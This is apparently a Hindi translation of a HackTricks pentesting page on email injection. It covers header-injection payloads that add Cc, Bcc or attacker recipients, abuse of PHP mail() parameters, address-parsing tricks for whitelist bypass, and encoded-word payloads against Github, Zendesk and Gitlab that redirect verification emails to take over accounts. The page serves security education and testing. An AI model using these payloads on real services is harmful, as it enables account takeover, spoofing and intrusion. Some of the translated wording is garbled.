Email Injections

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:

HackTricks का समर्थन करें

भेजे गए ई-मेल में इंजेक्ट करें

प्रेषक तर्क के बाद Cc और Bcc इंजेक्ट करें

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

संदेश प्राप्तकर्ता और प्राप्तकर्ता1 खातों को भेजा जाएगा।

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

संदेश मूल प्राप्तकर्ता और हमलावर खाते को भेजा जाएगा।

विषय तर्क इंजेक्ट करें

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

नकली विषय को मूल विषय में जोड़ा जाएगा और कुछ मामलों में इसे बदल भी दिया जाएगा। यह मेल सेवा के व्यवहार पर निर्भर करता है।

संदेश के शरीर को बदलें

एक दो-लाइन फीड डालें, फिर अपने संदेश को लिखें ताकि संदेश के शरीर को बदला जा सके।

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() फ़ंक्शन का शोषण

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5वां पैरामीटर ($additional_parameters)

यह अनुभाग इस पैरामीटर का दुरुपयोग कैसे करें, यह मानते हुए कि एक हमलावर इसे नियंत्रित करता है पर आधारित होगा।

यह पैरामीटर उस कमांड लाइन में जोड़ा जाएगा जिसे PHP बाइनरी sendmail को कॉल करने के लिए उपयोग करेगा। हालाँकि, इसे escapeshellcmd($additional_parameters) फ़ंक्शन के साथ साफ किया जाएगा।

एक हमलावर इस मामले में sendmail के लिए अतिरिक्त पैरामीटर इंजेक्ट कर सकता है

/usr/sbin/sendmail के कार्यान्वयन में अंतर

sendmail इंटरफ़ेस MTA ईमेल सॉफ़्टवेयर (Sendmail, Postfix, Exim आदि) द्वारा प्रदान किया गया है जो सिस्टम पर स्थापित है। हालाँकि बुनियादी कार्यक्षमता (जैसे -t -i -f पैरामीटर) संगतता कारणों से एक समान रहती है, अन्य कार्य और पैरामीटर स्थापित MTA के आधार पर बहुत भिन्न होते हैं।

यहाँ sendmail कमांड/इंटरफ़ेस के विभिन्न मैन पृष्ठों के कुछ उदाहरण दिए गए हैं:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

  • Postfix MTA: http://www.postfix.org/mailq.1.html

  • Exim MTA: https://linux.die.net/man/8/eximReferences

sendmail बाइनरी के उत्पत्ति के आधार पर विभिन्न विकल्पों का पता लगाया गया है ताकि उनका दुरुपयोग किया जा सके और फाइलें लीक करें या यहां तक कि मनमाने कमांड निष्पादित करें। देखें कि कैसे https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

ई-मेल नाम में इंजेक्ट करें

ध्यान दें कि यदि आप किसी सेवा में एक मनमाने डोमेन नाम (जैसे Github, Gitlab, CloudFlare Zero trust...) के साथ एक खाता बनाने में सफल होते हैं और इसे अपने मेल पते पर सत्यापन ईमेल प्राप्त करके सत्यापित करते हैं, तो आप पीड़ित कंपनी के संवेदनशील स्थानों तक पहुँच सकते हैं।

ईमेल के अनदेखे भाग

चिह्न: +, - और {} दुर्लभ अवसरों पर टैगिंग के लिए उपयोग किए जा सकते हैं और अधिकांश ई-मेल सर्वरों द्वारा अनदेखा किया जा सकता है।

  • उदाहरण: john.doe+intigriti@example.com → john.doe@example.com

कोष्ठकों () के बीच टिप्पणियाँ शुरुआत या अंत में भी अनदेखी की जाएंगी।

  • उदाहरण: john.doe(intigriti)@example.com → john.doe@example.com

व्हitelist बायपास

उद्धरण

आईपी

आप वर्ग ब्रैकेट के बीच डोमेन नाम के रूप में आईपी का भी उपयोग कर सकते हैं:

  • john.doe@[127.0.0.1]

  • john.doe@[IPv6:2001:db8::1]

ईमेल एन्कोडिंग

जैसा कि इस शोध में समझाया गया है, ईमेल नामों में एन्कोडेड वर्ण भी हो सकते हैं:

  • PHP 256 ओवरफ्लो: PHP chr फ़ंक्शन एक वर्ण में 256 जोड़ता रहेगा जब तक कि यह सकारात्मक नहीं हो जाता और फिर %256 ऑपरेशन करता है।

  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

इस ट्रिक का लक्ष्य एक इंजेक्शन के साथ समाप्त होना है जैसे RCPT TO:<"collab@psres.net>collab"@example.com> जो सत्यापन ईमेल को अपेक्षित ईमेल पते से अलग ईमेल पते पर भेजेगा (इसलिए ईमेल नाम के अंदर एक और ईमेल पते को पेश करना और ईमेल भेजते समय वाक्यविन्यास को तोड़ना)।

विभिन्न एन्कोडिंग:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6  x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

  • ध्यान दें कि एन्कोडेड @ =40 के रूप में, एन्कोडेड > =3e के रूप में और null =00 के रूप में है

  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा

  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

  • पहले की तरह ही ट्रिक लेकिन शुरुआत में कुछ सामान्य उद्धरण जोड़ना और एन्कोडेड उद्धरण =22 को एन्कोडेड @ से पहले जोड़ना और फिर अगले ईमेल से पहले कुछ उद्धरण शुरू और बंद करना ताकि Zendesk द्वारा आंतरिक रूप से उपयोग की गई सिंटैक्स को ठीक किया जा सके

  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा

  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

  • पता अलग करने के लिए अंडरस्कोर का उपयोग ध्यान दें

  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा

  • Punycode: Punycode का उपयोग करके Joomla में <style टैग को इंजेक्ट करना संभव था और इसे CSS एक्सफिल्ट्रेशन के माध्यम से CSRF टोकन चुराने के लिए दुरुपयोग करना।

Tooling

  • इस प्रकार के संयोजनों को फज़ करने के लिए एक Burp Suite Turbo Intruder स्क्रिप्ट है ताकि ईमेल प्रारूपों पर हमला करने की कोशिश की जा सके। स्क्रिप्ट में पहले से ही संभावित रूप से कार्यशील संयोजन हैं।

  • Hackvertor का उपयोग करके एक ईमेल स्प्लिटिंग हमले को बनाना भी संभव है

Other vulns

Third party SSO

XSS

कुछ सेवाएँ जैसे github या salesforce आपको XSS पेलोड्स के साथ एक ईमेल पता बनाने की अनुमति देती हैं। यदि आप इन प्रदाताओं का उपयोग करके अन्य सेवाओं में लॉगिन कर सकते हैं और ये सेवाएँ ईमेल को सही ढंग से साफ़ नहीं कर रही हैं, तो आप XSS का कारण बन सकते हैं।

Account-Takeover

यदि एक SSO सेवा आपको दिए गए ईमेल पते को सत्यापित किए बिना एक खाता बनाने की अनुमति देती है (जैसे salesforce) और फिर आप उस खाते का उपयोग करके एक अलग सेवा में लॉगिन कर सकते हैं जो salesforce पर भरोसा करती है, तो आप किसी भी खाते तक पहुँच सकते हैं। ध्यान दें कि salesforce यह संकेत करता है कि दिया गया ईमेल सत्यापित था या नहीं लेकिन इसलिए एप्लिकेशन को इस जानकारी को ध्यान में रखना चाहिए।

Reply-To

आप From: company.com का उपयोग करके एक ईमेल भेज सकते हैं और Replay-To: attacker.com और यदि कोई स्वचालित उत्तर भेजा जाता है क्योंकि ईमेल एक आंतरिक पते से भेजा गया था तो हमलावर उस प्रतिक्रिया को प्राप्त कर सकता है।

Hard Bounce Rate

कुछ सेवाएँ, जैसे AWS, एक थ्रेशोल्ड लागू करती हैं जिसे Hard Bounce Rate के रूप में जाना जाता है, जो आमतौर पर 10% पर सेट होता है। यह एक महत्वपूर्ण मैट्रिक है, विशेष रूप से ईमेल वितरण सेवाओं के लिए। जब यह दर पार हो जाती है, तो सेवा, जैसे AWS की ईमेल सेवा, निलंबित या अवरुद्ध हो सकती है।

एक hard bounce उस ईमेल को संदर्भित करता है जो प्रेषक के पास वापस आ गया है क्योंकि प्राप्तकर्ता का पता अमान्य या अस्तित्वहीन है। यह विभिन्न कारणों से हो सकता है, जैसे कि ईमेल को एक गैर-मौजूद पते पर भेजा गया, एक ऐसा डोमेन जो वास्तविक नहीं है, या प्राप्तकर्ता सर्वर का ईमेल स्वीकार करने से इनकार।

AWS के संदर्भ में, यदि आप 1000 ईमेल भेजते हैं और उनमें से 100 हार्ड बाउंस में परिणामित होते हैं (जैसे अमान्य पते या डोमेन के कारण), तो इसका मतलब होगा 10% हार्ड बाउंस दर। इस दर तक पहुँचने या इसे पार करने से AWS SES (Simple Email Service) आपके ईमेल भेजने की क्षमताओं को अवरुद्ध या निलंबित कर सकता है।

यह सुनिश्चित करने के लिए कि ईमेल सेवा में कोई रुकावट न आए और प्रेषक की प्रतिष्ठा बनाए रखने के लिए एक कम हार्ड बाउंस दर बनाए रखना महत्वपूर्ण है। आपके मेलिंग सूचियों में ईमेल पते की गुणवत्ता की निगरानी और प्रबंधन इस लक्ष्य को प्राप्त करने में महत्वपूर्ण रूप से मदद कर सकता है।

अधिक विस्तृत जानकारी के लिए, AWS के आधिकारिक दस्तावेज़ में बाउंस और शिकायतों को संभालने के बारे में AWS SES Bounce Handling को संदर्भित किया जा सकता है।

References

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Last updated